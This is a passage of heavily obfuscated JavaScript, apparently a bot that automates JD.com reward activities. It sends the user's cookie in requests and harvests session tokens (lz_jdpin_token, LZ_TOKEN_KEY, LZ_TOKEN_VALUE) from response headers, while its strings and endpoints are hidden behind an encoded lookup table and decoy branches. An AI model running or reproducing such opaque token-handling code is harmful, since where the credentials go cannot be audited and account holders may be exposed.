_0x3efd4a=_0x1446ff[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x3efd4a[_0x4291('7c')]('=')[0x1]){if(_0x1586af[_0x4291('34b')](_0x3efd4a[_0x4291('89')](_0x1586af[_0x4291('34c')]),-0x1))_0x103f9f=_0x1586af[_0x4291('34d')](_0x3efd4a[_0x4291('57')](/ /g,''),';');if(_0x1586af[_0x4291('34e')](_0x3efd4a[_0x4291('89')](_0x1586af[_0x4291('34f')]),-0x1))_0x1baa1e=_0x1586af[_0x4291('350')](_0x3efd4a[_0x4291('57')](/ /g,''),';');}}}else{$[_0x4291('5b')](e,_0x286f8e);}}if(_0x1586af[_0x4291('351')](_0x103f9f,_0x1baa1e))activityCookie=_0x103f9f+'\x20'+_0x1baa1e;}}catch(_0x5a2726){if(_0x1586af[_0x4291('352')](_0x1586af[_0x4291('353')],_0x1586af[_0x4291('354')])){$[_0x4291('5b')](_0x5a2726,_0x286f8e);}else{console[_0x4291('a')](_0x5a2726);$[_0x4291('2b')]($[_0x4291('2c')],'',_0x5e4683[_0x4291('355')]);return[];}}finally{if(_0x1586af[_0x4291('356')](_0x1586af[_0x4291('357')],_0x1586af[_0x4291('357')])){_0x1586af[_0x4291('358')](_0x250907);}else{let _0x4e2aa1=[_0x5e4683[_0x4291('359')],_0x5e4683[_0x4291('35a')],_0x5e4683[_0x4291('35b')],_0x5e4683[_0x4291('35c')]];$[_0x4291('3e')]=_0x4e2aa1[Math[_0x4291('35d')](_0x5e4683[_0x4291('35e')](Math[_0x4291('a0')](),_0x4e2aa1[_0x4291('45')]))];}}});}else{console[_0x4291('a')](_0x4291('25f')+(res[_0x4291('9a')]||''));}});}function getMyPing(){var _0x390f82={'ABsNl':function(_0x3391e0){return _0x3391e0();},'qfGaQ':function(_0x4e7a6a,_0x8c5ec9){return _0x4e7a6a==_0x8c5ec9;},'SASzy':_0x4291('60'),'GcFIe':function(_0x591b1c,_0x4a80f6){return _0x591b1c===_0x4a80f6;},'OPrpI':function(_0x4c3550,_0x348f5e){return _0x4c3550!=_0x348f5e;},'QswdE':_0x4291('17'),'VqEgv':_0x4291('177'),'OQsUZ':function(_0x13dd99,_0x14ebda){return _0x13dd99===_0x14ebda;},'ASlZe':_0x4291('35f'),'sftXF':_0x4291('18'),'ZTJJi':function(_0xf66e43,_0x1bec3a){return _0xf66e43!==_0x1bec3a;},'JCOPu':_0x4291('360'),'csRfj':_0x4291('361'),'cwOSM':_0x4291('30c'),'EGbDh':_0x4291('30d'),'JNXUJ':_0x4291('30e'),'mGMzF':_0x4291('362'),'hpyVs':function(_0x47925c,_0x2b49f5){return _0x47925c===_0x2b49f5;},'eWsLC':_0x4291('363'),'TcLbl':_0x4291('364'),'wAAIc':function(_0x33c71f,_0x1a078f){return _0x33c71f>_0x1a078f;},'VEsGp':_0x4291('138'),'MWhQN':function(_0x3f105b,_0x1b0a1a){return _0x3f105b+_0x1b0a1a;},'pzkYp':function(_0x595d9f,_0x5beeca){return _0x595d9f>_0x5beeca;},'QdtzJ':_0x4291('5e'),'OYaMb':_0x4291('5f'),'EWyzI':function(_0x477340,_0x5aecb9){return _0x477340&&_0x5aecb9;},'xTbkG':function(_0x460be4,_0x3de7a9){return _0x460be4!=_0x3de7a9;},'MXZfh':function(_0x226fec,_0x458911){return _0x226fec==_0x458911;},'dQCDN':_0x4291('365'),'xRpWw':_0x4291('366'),'oFebf':_0x4291('367'),'wgXxb':_0x4291('368'),'Whlhr':function(_0x3b72b6){return _0x3b72b6();},'vLyeB':_0x4291('369'),'JRpqg':function(_0x259118,_0x5b9538,_0x4056bd){return _0x259118(_0x5b9538,_0x4056bd);},'GdPWj':_0x4291('36a')};return new Promise(_0x33bd46=>{var _0x314de6={'kOIAF':function(_0xa9138d){return _0x390f82[_0x4291('36b')](_0xa9138d);},'jFnWA':function(_0x276d79,_0x45f3b9){return _0x390f82[_0x4291('36c')](_0x276d79,_0x45f3b9);},'ndnRh':_0x390f82[_0x4291('36d')],'OzEVd':function(_0x1c788f,_0x3eaf0b){return _0x390f82[_0x4291('36e')](_0x1c788f,_0x3eaf0b);},'tLubg':function(_0x584401,_0x5dcdad){return _0x390f82[_0x4291('36f')](_0x584401,_0x5dcdad);},'hSTUf':_0x390f82[_0x4291('370')],'oChFS':_0x390f82[_0x4291('371')],'MeSZC':function(_0x5ee6df,_0x8db893){return _0x390f82[_0x4291('372')](_0x5ee6df,_0x8db893);},'LfRQS':_0x390f82[_0x4291('373')],'qNpsJ':function(_0x4faa3a,_0x59210b){return _0x390f82[_0x4291('36c')](_0x4faa3a,_0x59210b);},'EIZun':_0x390f82[_0x4291('374')],'JlLPG':function(_0x43be6a,_0x38a070){return _0x390f82[_0x4291('375')](_0x43be6a,_0x38a070);},'lXfhq':_0x390f82[_0x4291('376')],'wLkZI':_0x390f82[_0x4291('377')],'qtKmM':_0x390f82[_0x4291('378')],'jqSCI':_0x390f82[_0x4291('379')],'VsKPo':_0x390f82[_0x4291('37a')],'NBIdu':_0x390f82[_0x4291('37b')],'Qwmxm':function(_0x4e76eb,_0x573721){return _0x390f82[_0x4291('36f')](_0x4e76eb,_0x573721);},'xpfDx':function(_0x114244,_0x51078c){return _0x390f82[_0x4291('37c')](_0x114244,_0x51078c);},'FAGAL':_0x390f82[_0x4291('37d')],'KIMIF':_0x390f82[_0x4291('37e')],'XJOwx':function(_0x38d565,_0x2b0954){return _0x390f82[_0x4291('37f')](_0x38d565,_0x2b0954);},'gerVK':_0x390f82[_0x4291('380')],'edNUN':function(_0x8bb9e8,_0x3c33f){return _0x390f82[_0x4291('381')](_0x8bb9e8,_0x3c33f);},'ylNmZ':function(_0x3a9867,_0x4ada8c){return _0x390f82[_0x4291('382')](_0x3a9867,_0x4ada8c);},'JXKEc':_0x390f82[_0x4291('383')],'bjQxW':_0x390f82[_0x4291('384')],'ldEpH':function(_0xbce878,_0x5122af){return _0x390f82[_0x4291('385')](_0xbce878,_0x5122af);},'LKcYx':function(_0x516518,_0x164e57){return _0x390f82[_0x4291('36f')](_0x516518,_0x164e57);},'VmdoS':function(_0x19306a,_0x45f6e5){return _0x390f82[_0x4291('386')](_0x19306a,_0x45f6e5);},'JtVlr':function(_0x470b66,_0x3b246f){return _0x390f82[_0x4291('387')](_0x470b66,_0x3b246f);},'VXoAF':function(_0x44cc1d,_0x215119){return _0x390f82[_0x4291('37c')](_0x44cc1d,_0x215119);},'kwUWZ':_0x390f82[_0x4291('388')],'WfBqm':_0x390f82[_0x4291('389')],'oYprj':_0x390f82[_0x4291('38a')],'Ozwus':_0x390f82[_0x4291('38b')],'NxDIh':function(_0xa78f78){return _0x390f82[_0x4291('38c')](_0xa78f78);}};if(_0x390f82[_0x4291('375')](_0x390f82[_0x4291('38d')],_0x390f82[_0x4291('38d')])){console[_0x4291('a')](data);}else{let _0x5b2b29=_0x4291('38e')+($[_0x4291('31')]||$[_0x4291('33')])+_0x4291('38f')+$[_0x4291('73')]+_0x4291('390');$[_0x4291('10b')](_0x390f82[_0x4291('391')](taskPostUrl,_0x390f82[_0x4291('392')],_0x5b2b29),async(_0x8e007a,_0x2490f9,_0x467c25)=>{var _0x3fb47c={'ZyTyp':function(_0x1369be,_0x5b026d){return _0x314de6[_0x4291('393')](_0x1369be,_0x5b026d);},'pxASx':_0x314de6[_0x4291('394')],'kqpWb':function(_0x209862,_0x489878){return _0x314de6[_0x4291('395')](_0x209862,_0x489878);},'JyssX':function(_0x1e2b9a,_0x59d1ee){return _0x314de6[_0x4291('396')](_0x1e2b9a,_0x59d1ee);},'HAoqW':_0x314de6[_0x4291('397')],'wodKx':function(_0x423445,_0x5bb0b8){return _0x314de6[_0x4291('396')](_0x423445,_0x5bb0b8);},'oHZWQ':function(_0x5ec2a6,_0xdeffaa){return _0x314de6[_0x4291('393')](_0x5ec2a6,_0xdeffaa);},'RYvcK':_0x314de6[_0x4291('398')],'QdzrZ':function(_0x5cf255,_0x28f139){return _0x314de6[_0x4291('393')](_0x5cf255,_0x28f139);}};if(_0x314de6[_0x4291('399')](_0x314de6[_0x4291('39a')],_0x314de6[_0x4291('39a')])){try{if(_0x8e007a){if(_0x2490f9[_0x4291('118')]&&_0x314de6[_0x4291('39b')](_0x2490f9[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x314de6[_0x4291('39c')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x8e007a));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('39d'));}else{if(_0x314de6[_0x4291('39e')](_0x314de6[_0x4291('39f')],_0x314de6[_0x4291('3a0')])){let _0x5f309a='';let _0x46c03d='';let _0x20bec0=_0x2490f9[_0x314de6[_0x4291('3a1')]][_0x314de6[_0x4291('3a2')]]||_0x2490f9[_0x314de6[_0x4291('3a1')]][_0x314de6[_0x4291('3a3')]]||'';let _0x3f6534='';if(_0x20bec0){if(_0x314de6[_0x4291('399')](_0x314de6[_0x4291('3a4')],_0x314de6[_0x4291('3a4')])){if(_0x314de6[_0x4291('3a5')](typeof _0x20bec0,_0x314de6[_0x4291('394')])){_0x3f6534=_0x20bec0[_0x4291('7c')](',');}else _0x3f6534=_0x20bec0;for(let _0x26a00f of _0x3f6534){let _0x3f1329=_0x26a00f[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x3f1329[_0x4291('7c')]('=')[0x1]){if(_0x314de6[_0x4291('3a6')](_0x314de6[_0x4291('3a7')],_0x314de6[_0x4291('3a8')])){_0x2f8f50=$[_0x4291('d1')](_0x467c25);if(_0x3fb47c[_0x4291('3a9')](typeof _0x2f8f50,_0x3fb47c[_0x4291('3aa')])&&_0x2f8f50[_0x4291('ab')]&&_0x3fb47c[_0x4291('3ab')](_0x2f8f50[_0x4291('ab')],!![])){if(_0x3fb47c[_0x4291('3ac')](typeof _0x2f8f50[_0x4291('30')][_0x4291('bb')][_0x4291('2c6')],_0x3fb47c[_0x4291('3ad')]))$[_0x4291('bb')]=_0x2f8f50[_0x4291('30')][_0x4291('bb')][_0x4291('2c6')];if(_0x3fb47c[_0x4291('3ac')](typeof _0x2f8f50[_0x4291('30')][_0x4291('c0')][_0x4291('2c6')],_0x3fb47c[_0x4291('3ad')]))$[_0x4291('c0')]=_0x2f8f50[_0x4291('30')][_0x4291('c0')][_0x4291('2c6')];if(_0x3fb47c[_0x4291('3ae')](typeof _0x2f8f50[_0x4291('30')][_0x4291('52')],_0x3fb47c[_0x4291('3ad')]))$[_0x4291('52')]=_0x2f8f50[_0x4291('30')][_0x4291('52')];}else if(_0x3fb47c[_0x4291('3af')](typeof _0x2f8f50,_0x3fb47c[_0x4291('3aa')])&&_0x2f8f50[_0x4291('9a')]){console[_0x4291('a')](_0x4291('1f9')+(_0x2f8f50[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0x467c25);}}else{if(_0x314de6[_0x4291('3b0')](_0x3f1329[_0x4291('89')](_0x314de6[_0x4291('3b1')]),-0x1))lz_jdpin_token=_0x314de6[_0x4291('3b2')](_0x3f1329[_0x4291('57')](/ /g,''),';');if(_0x314de6[_0x4291('3b3')](_0x3f1329[_0x4291('89')](_0x314de6[_0x4291('3b4')]),-0x1))_0x5f309a=_0x314de6[_0x4291('3b2')](_0x3f1329[_0x4291('57')](/ /g,''),';');if(_0x314de6[_0x4291('3b3')](_0x3f1329[_0x4291('89')](_0x314de6[_0x4291('3b5')]),-0x1))_0x46c03d=_0x314de6[_0x4291('3b2')](_0x3f1329[_0x4291('57')](/ /g,''),';');}}}}else{_0x314de6[_0x4291('3b6')](_0x33bd46);}}if(_0x314de6[_0x4291('3b7')](_0x5f309a,_0x46c03d))activityCookie=_0x5f309a+'\x20'+_0x46c03d;let _0x2f8f50=$[_0x4291('d1')](_0x467c25);if(_0x314de6[_0x4291('39b')](typeof _0x2f8f50,_0x314de6[_0x4291('394')])&&_0x2f8f50[_0x4291('ab')]&&_0x314de6[_0x4291('3a6')](_0x2f8f50[_0x4291('ab')],!![])){if(_0x2f8f50[_0x4291('30')]&&_0x314de6[_0x4291('3b8')](typeof _0x2f8f50[_0x4291('30')][_0x4291('2d4')],_0x314de6[_0x4291('397')]))$[_0x4291('74')]=_0x2f8f50[_0x4291('30')][_0x4291('2d4')];if(_0x2f8f50[_0x4291('30')]&&_0x314de6[_0x4291('3b9')](typeof _0x2f8f50[_0x4291('30')][_0x4291('80')],_0x314de6[_0x4291('397')]))$[_0x4291('80')]=_0x2f8f50[_0x4291('30')][_0x4291('80')];}else if(_0x314de6[_0x4291('3ba')](typeof _0x2f8f50,_0x314de6[_0x4291('394')])&&_0x2f8f50[_0x4291('9a')]){if(_0x314de6[_0x4291('3bb')](_0x314de6[_0x4291('3bc')],_0x314de6[_0x4291('3bd')])){$[_0x4291('5b')](e,_0x2490f9);}else{console[_0x4291('a')](_0x4291('3be')+(_0x2f8f50[_0x4291('9a')]||''));}}else{if(_0x314de6[_0x4291('3bb')](_0x314de6[_0x4291('3bf')],_0x314de6[_0x4291('3c0')])){if(_0x8e007a){console[_0x4291('a')](''+$[_0x4291('58')](_0x8e007a));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{}}else{console[_0x4291('a')](_0x467c25);}}}else{if(_0x3fb47c[_0x4291('3ab')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){console[_0x4291('a')](_0x4291('25a')+(res[_0x4291('30')][_0x4291('25b')]&&res[_0x4291('30')][_0x4291('2c')]||_0x3fb47c[_0x4291('3c1')]));}else if(_0x3fb47c[_0x4291('3c2')](typeof res,_0x3fb47c[_0x4291('3aa')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('25f')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0x467c25);}}}}catch(_0x47e65e){$[_0x4291('5b')](_0x47e65e,_0x2490f9);}finally{_0x314de6[_0x4291('3c3')](_0x33bd46);}}else{msg+=_0x4291('1d6')+res[_0x4291('30')][_0x4291('1d4')]+'京豆';}});}});}function getSimpleActInfoVo(){var _0x185b8a={'wZkwP':function(_0x8ba0cd,_0x5a9d06){return _0x8ba0cd!=_0x5a9d06;},'gKXMK':_0x4291('60'),'rcqFm':function(_0x324bae,_0x1775ba){return _0x324bae>_0x1775ba;},'sNysA':_0x4291('138'),'XvSBA':function(_0x184520,_0x4542dc){return _0x184520+_0x4542dc;},'tEfjt':_0x4291('5e'),'cxMGg':_0x4291('5f'),'JYBGD':function(_0x3f2748,_0x5b1afe){return _0x3f2748+_0x5b1afe;},'XbCOg':function(_0x7252ed,_0x29fd81){return _0x7252ed(_0x29fd81);},'THrsX':function(_0x338aae,_0x5ade0d){return _0x338aae===_0x5ade0d;},'wlFYS':_0x4291('3c4'),'GCtbX':_0x4291('3c5'),'DTFVq':function(_0x5b0e31,_0x4cdca1){return _0x5b0e31==_0x4cdca1;},'hySRL':_0x4291('18'),'byIWH':function(_0x30d527,_0x1708e7){return _0x30d527!==_0x1708e7;},'dTaxu':_0x4291('3c6'),'lrKTq':_0x4291('3c7'),'pHPxa':function(_0x7c598e,_0x47788d){return _0x7c598e==_0x47788d;},'QZVWT':function(_0x88661a,_0x9ddb2a){return _0x88661a===_0x9ddb2a;},'sioNv':_0x4291('17'),'Smcwt':function(_0x21ec27){return _0x21ec27();},'pRmbl':function(_0x5413b0,_0x31b7eb,_0x5d78dd){return _0x5413b0(_0x31b7eb,_0x5d78dd);},'lwPdk':_0x4291('3c8')};return new Promise(_0x43f036=>{var _0x4f70a2={'DaFJf':function(_0x142189,_0x83ee7e){return _0x185b8a[_0x4291('3c9')](_0x142189,_0x83ee7e);},'GYCLe':_0x185b8a[_0x4291('3ca')],'fmexl':function(_0x4c4b8c,_0x4a6ea6){return _0x185b8a[_0x4291('3cb')](_0x4c4b8c,_0x4a6ea6);},'joxot':_0x185b8a[_0x4291('3cc')],'adJtm':function(_0x1903d4,_0x378b6c){return _0x185b8a[_0x4291('3cd')](_0x1903d4,_0x378b6c);},'blSRq':function(_0x479e68,_0x221036){return _0x185b8a[_0x4291('3cb')](_0x479e68,_0x221036);},'jKcez':_0x185b8a[_0x4291('3ce')],'eIKRd':function(_0x212e72,_0x5b30fa){return _0x185b8a[_0x4291('3cb')](_0x212e72,_0x5b30fa);},'zAVAG':_0x185b8a[_0x4291('3cf')],'UrElp':function(_0x35068c,_0x290a8a){return _0x185b8a[_0x4291('3d0')](_0x35068c,_0x290a8a);},'blgoF':function(_0x45da77,_0x11991b){return _0x185b8a[_0x4291('3d1')](_0x45da77,_0x11991b);},'BoZfc':function(_0x365ab1,_0x384390){return _0x185b8a[_0x4291('3d2')](_0x365ab1,_0x384390);},'vrTYm':_0x185b8a[_0x4291('3d3')],'srqPi':_0x185b8a[_0x4291('3d4')],'SRqcS':function(_0x5eeaac,_0x511fb6){return _0x185b8a[_0x4291('3d5')](_0x5eeaac,_0x511fb6);},'mfTpo':_0x185b8a[_0x4291('3d6')],'ylNAM':function(_0x2ff921,_0x1b4eb4){return _0x185b8a[_0x4291('3d7')](_0x2ff921,_0x1b4eb4);},'tKvHM':_0x185b8a[_0x4291('3d8')],'pEgEt':_0x185b8a[_0x4291('3d9')],'VtnOY':function(_0x20e8ab,_0x446d1a){return _0x185b8a[_0x4291('3da')](_0x20e8ab,_0x446d1a);},'bqdrK':function(_0x4ba524,_0x516672){return _0x185b8a[_0x4291('3db')](_0x4ba524,_0x516672);},'ahtlh':_0x185b8a[_0x4291('3dc')],'rRwBf':function(_0x346c8f,_0x3d960d){return _0x185b8a[_0x4291('3da')](_0x346c8f,_0x3d960d);},'LIugq':function(_0x123d2f){return _0x185b8a[_0x4291('3dd')](_0x123d2f);}};let _0xa74f45=_0x4291('106')+$[_0x4291('40')];$[_0x4291('10b')](_0x185b8a[_0x4291('3de')](taskPostUrl,_0x185b8a[_0x4291('3df')],_0xa74f45),async(_0x2c232a,_0x294f30,_0xf2e91b)=>{if(_0x4f70a2[_0x4291('3e0')](_0x4f70a2[_0x4291('3e1')],_0x4f70a2[_0x4291('3e1')])){try{if(_0x2c232a){if(_0x4f70a2[_0x4291('3e0')](_0x4f70a2[_0x4291('3e2')],_0x4f70a2[_0x4291('3e2')])){if(_0x294f30[_0x4291('118')]&&_0x4f70a2[_0x4291('3e3')](_0x294f30[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x4f70a2[_0x4291('3e4')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+JSON[_0x4291('1fb')](_0x2c232a));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('1fc'));}else{if(_0x4f70a2[_0x4291('3e5')](typeof setcookies,_0x4f70a2[_0x4291('3e6')])){setcookie=setcookies[_0x4291('7c')](',');}else setcookie=setcookies;for(let _0x2e1192 of setcookie){let _0x598770=_0x2e1192[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x598770[_0x4291('7c')]('=')[0x1]){if(_0x4f70a2[_0x4291('3e7')](_0x598770[_0x4291('89')](_0x4f70a2[_0x4291('3e8')]),-0x1))lz_jdpin_token=_0x4f70a2[_0x4291('3e9')](_0x598770[_0x4291('57')](/ /g,''),';');if(_0x4f70a2[_0x4291('3ea')](_0x598770[_0x4291('89')](_0x4f70a2[_0x4291('3eb')]),-0x1))LZ_TOKEN_KEY=_0x4f70a2[_0x4291('3e9')](_0x598770[_0x4291('57')](/ /g,''),';');if(_0x4f70a2[_0x4291('3ec')](_0x598770[_0x4291('89')](_0x4f70a2[_0x4291('3ed')]),-0x1))LZ_TOKEN_VALUE=_0x4f70a2[_0x4291('3ee')](_0x598770[_0x4291('57')](/ /g,''),';');}}}}else{if(_0x4f70a2[_0x4291('3ef')](_0x4f70a2[_0x4291('3f0')],_0x4f70a2[_0x4291('3f1')])){res=$[_0x4291('d1')](_0xf2e91b);if(_0x4f70a2[_0x4291('3f2')](typeof res,_0x4f70a2[_0x4291('3e6')])&&res[_0x4291('ab')]&&_0x4f70a2[_0x4291('3f3')](res[_0x4291('ab')],!![])){if(_0x4f70a2[_0x4291('3e5')](typeof res[_0x4291('30')][_0x4291('31')],_0x4f70a2[_0x4291('3f4')]))$[_0x4291('31')]=res[_0x4291('30')][_0x4291('31')];if(_0x4f70a2[_0x4291('3e5')](typeof res[_0x4291('30')][_0x4291('33')],_0x4f70a2[_0x4291('3f4')]))$[_0x4291('33')]=res[_0x4291('30')][_0x4291('33')];}else if(_0x4f70a2[_0x4291('3f5')](typeof res,_0x4f70a2[_0x4291('3e6')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('135')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0xf2e91b);}}else{console[_0x4291('a')](_0x4291('ae')+i[_0x4291('af')]+i[_0x4291('b0')]+i[_0x4291('b1')]);}}}catch(_0x97eb6d){$[_0x4291('5b')](_0x97eb6d,_0x294f30);}finally{_0x4f70a2[_0x4291('3f6')](_0x43f036);}}else{_0x4f70a2[_0x4291('3f7')](_0x43f036,res&&res[_0x4291('30')]||'');}});});}function getToken(){var _0x3b5661={'fBMXv':function(_0xfc1cba,_0x3d343c){return _0xfc1cba!=_0x3d343c;},'vzvfv':_0x4291('17'),'mcuYW':function(_0x3812e9,_0x53fe7c){return _0x3812e9!=_0x53fe7c;},'UJIFL':function(_0x52fc72,_0x501718){return _0x52fc72==_0x501718;},'GsGOK':_0x4291('de'),'zBIhl':function(_0x3660df,_0xf6c387){return _0x3660df!=_0xf6c387;},'qBwzd':function(_0x47fbe3,_0x57406b){return _0x47fbe3!=_0x57406b;},'SujGu':function(_0x5e70ad,_0x3b4140){return _0x5e70ad+_0x3b4140;},'pzLtu':function(_0x3afe54,_0x1cddf1){return _0x3afe54>_0x1cddf1;},'hOpxQ':function(_0x2ea480,_0x38dc74){return _0x2ea480*_0x38dc74;},'snvqb':function(_0x4ebc3e,_0x16ff19,_0x38eb01){return _0x4ebc3e(_0x16ff19,_0x38eb01);},'FTnGT':function(_0x38a4a9,_0x26d8ba){return _0x38a4a9===_0x26d8ba;},'Cziyf':_0x4291('3f8'),'kSzQd':function(_0x233b7d,_0x3f64c3){return _0x233b7d===_0x3f64c3;},'aRThL':_0x4291('3f9'),'WzWBy':_0x4291('60'),'ayWjX':function(_0x45149a,_0x126f77){return _0x45149a==_0x126f77;},'JvnEL':function(_0x1ed73b,_0x520e07){return _0x1ed73b!==_0x520e07;},'rCpZx':_0x4291('3fa'),'cPmED':function(_0x899ce0,_0x321bbc){return _0x899ce0==_0x321bbc;},'VYgRB':_0x4291('3fb'),'RuNyW':function(_0x3736bb){return _0x3736bb();},'TKyws':function(_0x5634ea,_0x488c87){return _0x5634ea||_0x488c87;},'ipsBo':_0x4291('177'),'Xybip':function(_0x75ab9e){return _0x75ab9e();},'RCzrD':_0x4291('3fc'),'PFddd':_0x4291('3fd'),'vVIDt':_0x4291('3fe'),'ZxPqa':_0x4291('204'),'HSdeP':_0x4291('202')};return new Promise(_0x27c105=>{var _0x196a21={'atsKP':function(_0x153341,_0x459d2d){return _0x3b5661[_0x4291('3ff')](_0x153341,_0x459d2d);},'PsyYc':_0x3b5661[_0x4291('400')],'vQqMy':function(_0x10901b){return _0x3b5661[_0x4291('401')](_0x10901b);}};if(_0x3b5661[_0x4291('402')](_0x3b5661[_0x4291('403')],_0x3b5661[_0x4291('404')])){$[_0x4291('10b')]({'url':_0x4291('405'),'body':_0x3b5661[_0x4291('406')],'headers':{'Content-Type':_0x3b5661[_0x4291('407')],'Cookie':cookie,'Host':_0x3b5661[_0x4291('408')],'User-Agent':_0x4291('409')}},async(_0x585a67,_0x4303ac,_0x22d45d)=>{var _0x4d799f={'ZCeRC':function(_0x5d49c3,_0x2eeca3){return _0x3b5661[_0x4291('40a')](_0x5d49c3,_0x2eeca3);},'lLmPq':_0x3b5661[_0x4291('40b')],'ETKMb':function(_0x3ac548,_0xed46e1){return _0x3b5661[_0x4291('40c')](_0x3ac548,_0xed46e1);},'uVIlg':function(_0x236edc,_0x275327){return _0x3b5661[_0x4291('40d')](_0x236edc,_0x275327);},'WRFhG':_0x3b5661[_0x4291('40e')],'MJOkN':function(_0x14dee6,_0x4bf0a3){return _0x3b5661[_0x4291('40f')](_0x14dee6,_0x4bf0a3);},'goXSB':function(_0xb52de4,_0x1b5db2){return _0x3b5661[_0x4291('410')](_0xb52de4,_0x1b5db2);},'NHhZr':function(_0x43dc55,_0xe38b05){return _0x3b5661[_0x4291('411')](_0x43dc55,_0xe38b05);},'xTxCi':function(_0x2b1819,_0x5e20aa){return _0x3b5661[_0x4291('412')](_0x2b1819,_0x5e20aa);},'fTjbS':function(_0x3e333e,_0xce3071){return _0x3b5661[_0x4291('413')](_0x3e333e,_0xce3071);},'OWQMW':function(_0x127cb3,_0x5ea332,_0x45930b){return _0x3b5661[_0x4291('414')](_0x127cb3,_0x5ea332,_0x45930b);}};if(_0x3b5661[_0x4291('415')](_0x3b5661[_0x4291('416')],_0x3b5661[_0x4291('416')])){try{if(_0x3b5661[_0x4291('417')](_0x3b5661[_0x4291('418')],_0x3b5661[_0x4291('418')])){if(_0x585a67){console[_0x4291('a')](''+$[_0x4291('58')](_0x585a67));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('301'));}else{let _0x4c67df=$[_0x4291('d1')](_0x22d45d);if(_0x3b5661[_0x4291('40d')](typeof _0x4c67df,_0x3b5661[_0x4291('419')])&&_0x3b5661[_0x4291('41a')](_0x4c67df[_0x4291('d3')],0x0)){if(_0x3b5661[_0x4291('402')](_0x3b5661[_0x4291('41b')],_0x3b5661[_0x4291('41b')])){let _0x5544e5='';if(_0x4c67df[_0x4291('30')][_0x4291('1a0')]){_0x5544e5=_0x4c67df[_0x4291('30')][_0x4291('1a0')]+'京豆';}if(_0x4c67df[_0x4291('30')][_0x4291('1d4')]&&_0x4c67df[_0x4291('30')][_0x4291('1d5')]){_0x5544e5+=_0x4291('1d6')+_0x4c67df[_0x4291('30')][_0x4291('1d4')]+'京豆';}console[_0x4291('a')](_0x4291('1d7')+_0x196a21[_0x4291('41c')](_0x5544e5,_0x196a21[_0x4291('41d')]));}else{if(_0x3b5661[_0x4291('410')](typeof _0x4c67df[_0x4291('d4')],_0x3b5661[_0x4291('40b')]))$[_0x4291('73')]=_0x4c67df[_0x4291('d4')];}}else if(_0x3b5661[_0x4291('41e')](typeof _0x4c67df,_0x3b5661[_0x4291('419')])&&_0x4c67df[_0x4291('d5')]){if(_0x3b5661[_0x4291('402')](_0x3b5661[_0x4291('41f')],_0x3b5661[_0x4291('41f')])){_0x196a21[_0x4291('420')](_0x27c105);}else{console[_0x4291('a')](_0x4291('d6')+(_0x4c67df[_0x4291('d5')]||''));}}else{console[_0x4291('a')](_0x22d45d);}}}else{if(_0x4d799f[_0x4291('421')](typeof res[_0x4291('30')][_0x4291('bb')][_0x4291('2c6')],_0x4d799f[_0x4291('422')]))$[_0x4291('bb')]=res[_0x4291('30')][_0x4291('bb')][_0x4291('2c6')];if(_0x4d799f[_0x4291('421')](typeof res[_0x4291('30')][_0x4291('c0')][_0x4291('2c6')],_0x4d799f[_0x4291('422')]))$[_0x4291('c0')]=res[_0x4291('30')][_0x4291('c0')][_0x4291('2c6')];if(_0x4d799f[_0x4291('423')](typeof res[_0x4291('30')][_0x4291('52')],_0x4d799f[_0x4291('422')]))$[_0x4291('52')]=res[_0x4291('30')][_0x4291('52')];}}catch(_0x4fc1a7){$[_0x4291('5b')](_0x4fc1a7,_0x4303ac);}finally{_0x3b5661[_0x4291('424')](_0x27c105);}}else{console[_0x4291('a')](_0x4291('120'));let _0x3d8c88=0x0;let _0xf3e76c=0x0;for(let _0x110b0f in res[_0x4291('30')]){let _0x29dcd6=res[_0x4291('30')][_0x110b0f];if(_0x4d799f[_0x4291('425')](_0x29dcd6[_0x4291('a2')],_0x4d799f[_0x4291('426')]))_0x3d8c88++;if(_0x4d799f[_0x4291('425')](_0x29dcd6[_0x4291('a2')],_0x4d799f[_0x4291('426')]))_0xf3e76c=_0x29dcd6[_0x4291('123')][_0x4291('57')]('京豆','');if(_0x4d799f[_0x4291('427')](_0x29dcd6[_0x4291('a2')],_0x4d799f[_0x4291('426')]))console[_0x4291('a')](''+(_0x4d799f[_0x4291('428')](_0x29dcd6[_0x4291('126')],0xa)&&_0x4d799f[_0x4291('429')](_0x29dcd6[_0x4291('a2')],':')||'')+_0x29dcd6[_0x4291('123')]);}if(_0x4d799f[_0x4291('42a')](_0x3d8c88,0x0))console[_0x4291('a')](_0x4291('129')+_0x3d8c88+'):'+(_0x4d799f[_0x4291('42b')](_0x3d8c88,_0x4d799f[_0x4291('42c')](parseInt,_0xf3e76c,0xa))||0x1e)+'京豆');}});}else{$[_0x4291('5b')](e,resp);}});}function getCk(){var _0x19c087={'DmfKY':function(_0x23ac23){return _0x23ac23();},'Zragx':function(_0xe9d80b,_0x62e379){return _0xe9d80b==_0x62e379;},'ghQOH':_0x4291('de'),'EgQLT':function(_0xdba820,_0x323014){return _0xdba820!=_0x323014;},'UUPJH':function(_0x1d3b65,_0x52c0a6){return _0x1d3b65+_0x52c0a6;},'ucoSZ':function(_0x3aae8e,_0x503720){return _0x3aae8e(_0x503720);},'rFBmW':_0x4291('22'),'YIbru':_0x4291('309'),'bKVTF':_0x4291('30a'),'PZwvb':_0x4291('30b'),'iOjXi':function(_0x1c90b1,_0x20b166){return _0x1c90b1*_0x20b166;},'xQeen':function(_0x5596c8,_0x3ede5a){return _0x5596c8!==_0x3ede5a;},'ukvqf':_0x4291('42d'),'RWCBj':function(_0x1caa0a,_0x270f37){return 